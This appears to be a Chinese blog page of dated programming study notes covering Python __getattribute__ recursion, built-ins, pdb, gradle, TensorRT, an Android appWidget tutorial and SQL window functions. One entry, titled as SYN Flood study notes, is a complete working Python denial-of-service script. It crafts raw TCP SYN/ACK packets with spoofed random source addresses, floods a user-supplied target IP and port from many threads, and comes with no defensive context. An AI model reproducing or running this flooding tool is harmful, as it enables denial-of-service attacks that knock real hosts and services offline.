obj == 'subject1': print('log subject1') return 'redirect python' else: #测试时注释掉这2行，将找不到subject2 return object.__getattribute__(self,obj) __getattribute__的作用可以用来打印Log日志 __getattribute__的坑 class Person(object): def __getattribute__(self,obj): print("---test---") if obj.startswith("a"): return "hahha" else: return self.test def test(self): print("heihei") t.Person() t.a #返回hahha t.b #会让程序死掉 #原因是：当t.b执行时，会调用Person类中定义的__getattribute__方法，但是在这个方法的执行过程中 #if条件不满足，所以程序执行else里面的代码，即return self.test 问题就在这，因为return 需要把 #self.test的值返回，那么首先要获取self.test的值，因为self此时就是t这个对象，所以self.test就是 #t.test 此时要获取t这个对象的test属性，那么就会跳转到__getattribute__方法去执行，即此时产 #生了递归调用，由于这个递归过程中没有判断什么时候推出，所以这个程序会永无休止的运行下去，又因为 #每次调用函数，就需要保存一些数据，那么随着调用的次数越来越多，最终内存吃光，所以程序崩溃 # # 注意：以后不要在__getattribute__方法中调用self.xxxx 2.内建函数 range(start, stop[, step]) -> list of integers start:计数从start开始。默认是从0开始。例如range（5）等价于range（0， 5）; stop:到stop结束，但不包括stop.例如：range（0， 5）是[0, 1, 2, 3, 4]没有5 step:每次跳跃的间距，默认为1。例如：range（0， 5）等价于 range(0, 5, 1) map函数 map函数会根据提供的函数对指定序列做映射 map(...) map(function, sequence[, sequence, ...]) -> list function:是一个函数 sequence:是一个或多个序列,取决于function需要几个参数返回值是一个list filter函数 filter函数会对指定序列执行过滤操作 filter(...) filter(function or None, sequence) -> list, tuple, or string function:接受一个参数，返回布尔值True或False sequence:序列可以是str，tuple，list filter函数会对序列参数sequence中的每个元素调用function函数，最后返回的结果包含调用结果为True的元素。 reduce函数 reduce函数，reduce函数会对参数序列中元素进行累积 reduce(...) reduce(function, sequence[, initial]) -> value function:该函数有两个参数 sequence:序列可以是str，tuple，list initial:固定初始值 reduce依次从sequence中取一个元素，和上一次调用function的结果做参数再次调用function。第一次调用function时，如果提供initial参数，会以sequence中的第一个元素和initial 作为参数调用function，否则会以序列sequence中的前两个元素做参数调用function。注意function函数不能为None sorted函数 sorted(...) sorted(iterable, cmp=None, key=None, reverse=False) --> new sorted list 调试 1.调试 pdb是基于命令行的调试工具，非常类似gnu的gdb（调试c/c++）执行时调试程序启动，停止在第一行等待单步调试 python -m pdb xxx.py， n(next)执行下一步,l(list)显示当前执行进度，c(continue)继续执行代码，b(break)添加断点，q(quit)中止并退出，clear num删除指定断点，p(print)打印变量的值，a(args)打印所有的形参数据,s(step)进入到一个函数,r执行代码直到从当前函数返回

2018-03-17

gradle教程学习笔记（二）

gradle教程学习笔记（二）今天继续学习gradle的命令，首先可以用idea建立一个gradle的项目，然后会默认生成一段脚本，在这个脚本里面我引用了spring框架。

2018-03-08

Python实现SYNFlood，学习笔记

版权声明：转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396333 是Python2还是3我给忘记了，大家自己试试吧。 #!/usr/bin/python #-*-coding:utf-8-*- import socket import struct import random import threading class myThread (threading.Thread): def __init__(self,dstip,dstport,mode): threading.Thread.__init__(self) self.dstip = dstip self.dstport =dstport self.mode =mode def run(self): attack(self.dstip,self.dstport,self.mode) def checksum(data): s = 0 n = len(data) % 2 for i in range(0, len(data)-n, 2): s+= ord(data[i]) + (ord(data[i+1]) << 8) if n: s+= ord(data[i+1]) while (s >> 16): s = (s & 0xFFFF) + (s >> 16) s = ~s & 0xffff return s def IP(source,destination,udplen): version = 4 ihl = 5 tos = 0 tl = 20+udplen ip_id = random.randint(1,65535) flags = 0 offset = 0 ttl = 128 protocol =6 check =0 source = socket.inet_aton(source) destination = socket.inet_aton(destination) ver_ihl = (version << 4)+ihl flags_offset = (flags << 13)+offset ip_header = struct.pack("!BBHHHBBH4s4s", ver_ihl, tos, tl, ip_id, flags_offset, ttl, protocol, check, source, destination) check=checksum(ip_header) ip_header = struct.pack("!BBHHHBBH4s4s", ver_ihl, tos, tl, ip_id, flags_offset, ttl, protocol, socket.htons(check), source, destination) return ip_header def TCP(srcip,dstip,protocol,dp,fg): source = socket.inet_aton(srcip) destination = socket.inet_aton(dstip) srcport=random.randint(1,65535) dstport=dp syn_num=random.randint(1,4000000000) if fg == 2: ack_num=0 else: ack_num=random.randint(1,4000000000) hlen=5 zero=0 flag=fg window=8192 check=0 point=0 tcplen=hlen h_f=(hlen << 12)+flag TCP_head=struct.pack("!4s4sHHHHIIHHHH",source,destination,protocol,tcplen,srcport,dstport,syn_num,ack_num,h_f,window,check,point) check=checksum(TCP_head) TCP_head=struct.pack("!HHIIHHHH",srcport,dstport,syn_num,ack_num,h_f,window,check,point) return TCP_head def makepacket(dstip,dstport,fg): srcip=str(random.choice(ip_first))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255)) protocol=6 ippacket=IP(srcip,dstip,5)+TCP(srcip,dstip,protocol,dstport,fg) return ippacket def attack(dstip,dstport,mode): if mode == 'syn': fg=2 while 1: data=makepacket(dstip,dstport,fg) s.sendto(data,(dstip,dstport)) elif mode == 'ack': fg=18 while 1: data=makepacket(dstip,dstport,fg) s.sendto(data,(dstip,dstport)) elif mode == 'syn&ack': while 1: data=makepacket(dstip,dstport,2) s.sendto(data,(dstip,dstport)) data=makepacket(dstip,dstport,18) s.sendto(data,(dstip,dstport)) else: print('DON\'T xia say!') dstip=raw_input('attack IP:') dstport=int(input('attack PORT:')) mode=raw_input('mode:(syn or ack or syn&ack)') threads=int(input("线程数threads：")) ip_first=[] for i in range(1,10): ip_first.append(i) for i in range(11,172): ip_first.append(i) for i in range(173,192): ip_first.append(i) for i in range(193,224): ip_first.append(i) s = socket.socket(socket.AF_INET,socket.SOCK_RAW,6) s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1) threads_name=[] for i in range(threads): threads_name.append('teread'+str(i)) for i in range(threads): threads_name[i]=myThread(dstip,dstport,mode) for i in range(threads): threads_name[i].start()

2018-02-27

Tensor RT学习笔记（二）

关键概念：网络定义：网络定义由一系列层和一组张量组成；层：每一层从一组输入张量计算一组输出张量。图层具有参数，例如卷积大小，跨度和卷积滤波器权重。张量：张量既可以是网络的输入，也可以是图层的输出。张量具有指定其精度的数据类型，例如16位和32位浮点数以及三个维度，例如通道，宽度和高度。输入张量的尺寸由应用程序定义，输出张量由构建器推断。支持的维度是N（P_1 P_2 ...）CHW，其中P_1，P_2等是索引维度。张量总共可以有最多Dims :: MAX_DIMENSIONS个维度，其中该常量设置为8。每个图层和张量都有一个名称，在分析或读取TensorRT构建日志时非常有用。使用NvCaffeParser时，张量和图层名称将从NVCaffe原型文件中获取。TensorRT API：TensorRT API允许开发人员导入，校准，生成和部署优化的网络。网络可以直接从NVCaffe或通过UFF格式从其他框架导入。它们也可以通过实例化各个图层并直接设置参数和权重来以编程方式创建。除了C ++中的主要API之外。 TensorRT包含TensorRT python API绑定。 TensorRT python API目前支持除RNN之外的所有功能。它引入了与NumPy数组对于图层权重的兼容性，并通过使用PyCUDA，输入和输出数据。还提供了一组实用函数来解决开发人员可能面临的常见任务，包括NVCaffe模型解析，从流中解析UFF模型，以及从UFF文件加载和编写PLAN文件。这些位于tensorrt.utilsPython例子：Python接口支持以前仅通过C ++接口才可用的所有功能。这些包括： the NvCaffeParser 用于图形定义的nvinfer API 建造者创建优化的推理引擎用于执行引擎的推理时界面用于注册自定义层实现的调用可以在{PYTHON_PACKAGE_DIR} / tensorrt / examples目录中找到Python示例。TensorRT软件包附带了一些示例应用程序实现。这些可以根据您是否在系统中安装TensorRT或仅为用户来找到。Python工作流程：为以下用例提供了示例应用程序：1.有一个现有的TensorFlow™（或其他UFF兼容框架）模型，开发人员可以试用TensorRT，将TensorFlow模型转换为TensorRT2.有一个NVCaffe模型，开发人员想用TensorRT来尝试。将NVCaffe模型转换为TensorRT3.开发人员希望将TensorRT引擎部署为更大型应用程序的一部分，如Web后端。4.开发人员希望尝试使用受UFF支持且未受NVCaffe培训的框架来训练TensorRT。TensorRT感觉好强大，毕竟是对新的PasCal和VoltaGPU才有的功能。

2018-02-25

appWidget 简单入门学习笔记

1,让桌面能够添加你的appWidget 1,一个类,和2个xml //一个实现AppWidgetProvider的类 publicclassTomAppWidgetProviderextends AppWidgetProvider{}  <appwidget-providerxmlns:android="http://schemas.android.com/apk/res/android" android:minWidth="294dp" android:minHeight="72dp" android:updatePeriodMillis="86400000" android:initialLayout="@layout/tom_appwidget" android:configure="kg.tom.AppWidgetConfigure"></appwidget-provider>   <?xmlversion="1.0"encoding="utf-8"?> <LinearLayoutxmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="294dp" android:layout_height="72dp" android:orientation="vertical"><TextView android:id="@+id/appwidget_text" android:layout_width="wrap_content" android:layout_height="wrap_content" android:textColor="#ff000000"/><Button android:id="@+id/appwidget_button" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@android:string/ok"/> </LinearLayout> 在AndroidManifest.xml中声明你的appWidget <receiverandroid:name="TomAppWidgetProvider"> <intent-filter> <actionandroid:name="android.appwidget.action.APPWIDGET_UPDATE"/> </intent-filter>  <meta-dataandroid:name="android.appwidget.provider"android:resource="@xml/tom_appwidget_info"/> </receiver> 长按你的Home 界面,你就会看到你的widget已经在列表当中但是,现在点击是会出错的,这时候我们需要设置我们的AppWidgetConfigure 在activity中增加一个Intent-filter <intent-filter>  <actionandroid:name="android.appwidget.action.APPWIDGET_UPDATE"/> </intent-filter> publicclassAppWidgetConfigureextendsActivity{ @Override publicvoidonCreate(BundlesavedInstanceState){ super.onCreate(savedInstanceState); //设置widgetId intmAppWidgetId=AppWidgetManager.INVALID_APPWIDGET_ID; //1,将setResult设置为取消,用于取消widgethostsetResult(RESULT_CANCELED); //2,从Intent中找到widget的id Intentintent=getIntent(); Bundleextras=intent.getExtras(); if(extras!=null){ mAppWidgetId=extras.getInt(AppWidgetManager.EXTRA_APPWIDGET_ID,AppWidgetManager.INVALID_APPWIDGET_ID);} //3,如果获取不到appWidgetid我们就结束 if(mAppWidgetId==AppWidgetManager.INVALID_APPWIDGET_ID){ Log.d("app","获取失败退出!!!"); finish();} finalContextcontext=AppWidgetConfigure.this; //4,实例化你的appWidget AppWidgetManagerappWidgetManager=AppWidgetManager.getInstance(context); //5,更新widget IntentresultValue=newIntent();resultValue.putExtra(appWidgetManager.EXTRA_APPWIDGET_ID,mAppWidgetId); setResult(RESULT_OK,resultValue); finish();}} 2,然后写provider的代码 publicclassTomAppWidgetProviderextendsAppWidgetProvider{ @Override publicvoidonUpdate(Contextcontext,AppWidgetManagerappWidgetManager, int[]appWidgetIds){ //TODOAuto-generatedmethodstub super.onUpdate(context,appWidgetManager,appWidgetIds); finalintN=appWidgetIds.length; Log.d("app","onUpdate--->Ids==="+String.valueOf(N)); for(inti=0;i<N;i++){ intappWidgetId=appWidgetIds[i]; updateAppWidget(context,appWidgetManager,appWidgetId);}} staticvoidupdateAppWidget(Contextcontext,AppWidgetManagerappWidgetManager,intappWidgetId){ Log.d("app","update---->id"+appWidgetId); //1,widget中的的标题 CharSequencetext="这是我第一个widget"; //2,widget显示用布局,并设置text显示的值 RemoteViewsviews=newRemoteViews(context.getPackageName(),R.layout.tom_appwidget_provider);views.setTextViewText(R.id.appwidget_text,text); //3,通知widgetmanager更新appWidgetManager.updateAppWidget(appWidgetId,views);} @Override publicvoidonDeleted(Contextcontext,int[]appWidgetIds){ //TODOAuto-generatedmethodstubsuper.onDeleted(context,appWidgetIds); //删除的时候调用的方法 intappids=appWidgetIds.length; Log.d("app","onDelete--->"+appids);}} 然后就可以运行了: 顺便附上一张简单原理图:.. 2,小小的进阶为widget实现运行activity 只要在加上几行代码的appwidget 就能实现挑战到Activity的功能 1,新建一个HelloAppWidget的activity staticvoidupdateAppWidget(Contextcontext,AppWidgetManagerappWidgetManager,intappWidgetId){ Log.d("app","update---->id"+appWidgetId); //1,设置显示用标题 CharSequencetext="这是我第一个widget"; //1.1,增加跳转用activity相关intent Intentintent=newIntent(context,HelloAppWidget.class); PendingIntentpendingIntent=PendingIntent.getActivity(context,0,intent,0); //2,如果,没有在xml中声明RemoteViews布局,这里就必须要让其他布局基于RemoteViews RemoteViewsviews=newRemoteViews(context.getPackageName(),R.layout.tom_appwidget_provider);views.setTextViewText(R.id.appwidget_text,text); //2.1将需要跳转的intent绑定到appWidgetbutton中views.setOnClickPendingIntent(R.id.appwidget_button,pendingIntent); //3,通知widgetmanager更新appWidgetManager.updateAppWidget(appWidgetId,views);} 跳转到特定activity…ps:使用activity记得在AndroidManifest.xml中注册

2018-02-23

Python学习笔记：Python函数

Python学习笔记：Python函数 1，def是Python中的一个可执行语句——函数并不存在，直到Python运行了def后才存在。

2018-01-30

数据分析学习笔记

row_number() row_number() over(partition by col1[, col2…] order by col1 [asc|desc][, col2[asc|desc]…]) 函数说明：可以用于开窗，排序，计数，返回当前窗口的排序值。参数说明：partition by col1[, col2..]：指定开窗口的列。 order by col1 [asc|desc], col2[asc|desc]：指定结果返回时的排序的值。 WM_CONCAT 函数声明：string wm_concat(string separator, string str) 函数说明：该函数用指定的 spearator 做分隔符，链接 str 中的值。可以用于多行变一行。参数说明：separator：String 类型常量，分隔符。其他类型或非常量将引发异常。str：String 类型，若输入为 Bigint，Double 或者 Datetime 类型，会隐式转换为 String 后参与运算，其它类型报异常。返回值：返回 String 类型。

2018-01-01

资源下载

更多资源

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长，特征是大鼻子、头戴帽子、身穿背带裤，还留着胡子。与他的双胞胎兄弟路易基一起，长年担任任天堂的招牌角色。

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题，腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构，目前腾讯云软件源站支持公网访问和内网访问。

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能，例如代码缩略图，Python的插件，代码段等。还可自定义键绑定，菜单和工具栏。Sublime Text 的主要功能包括：拼写检查，书签，完整的 Python API ， Goto 功能，即时项目切换，多选择，多窗口等等。Sublime Text 是一个跨平台的编辑器，同时支持Windows、Linux、Mac OS X等操作系统。

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源，继承了IntelliJ IDEA强大的JS部分的功能。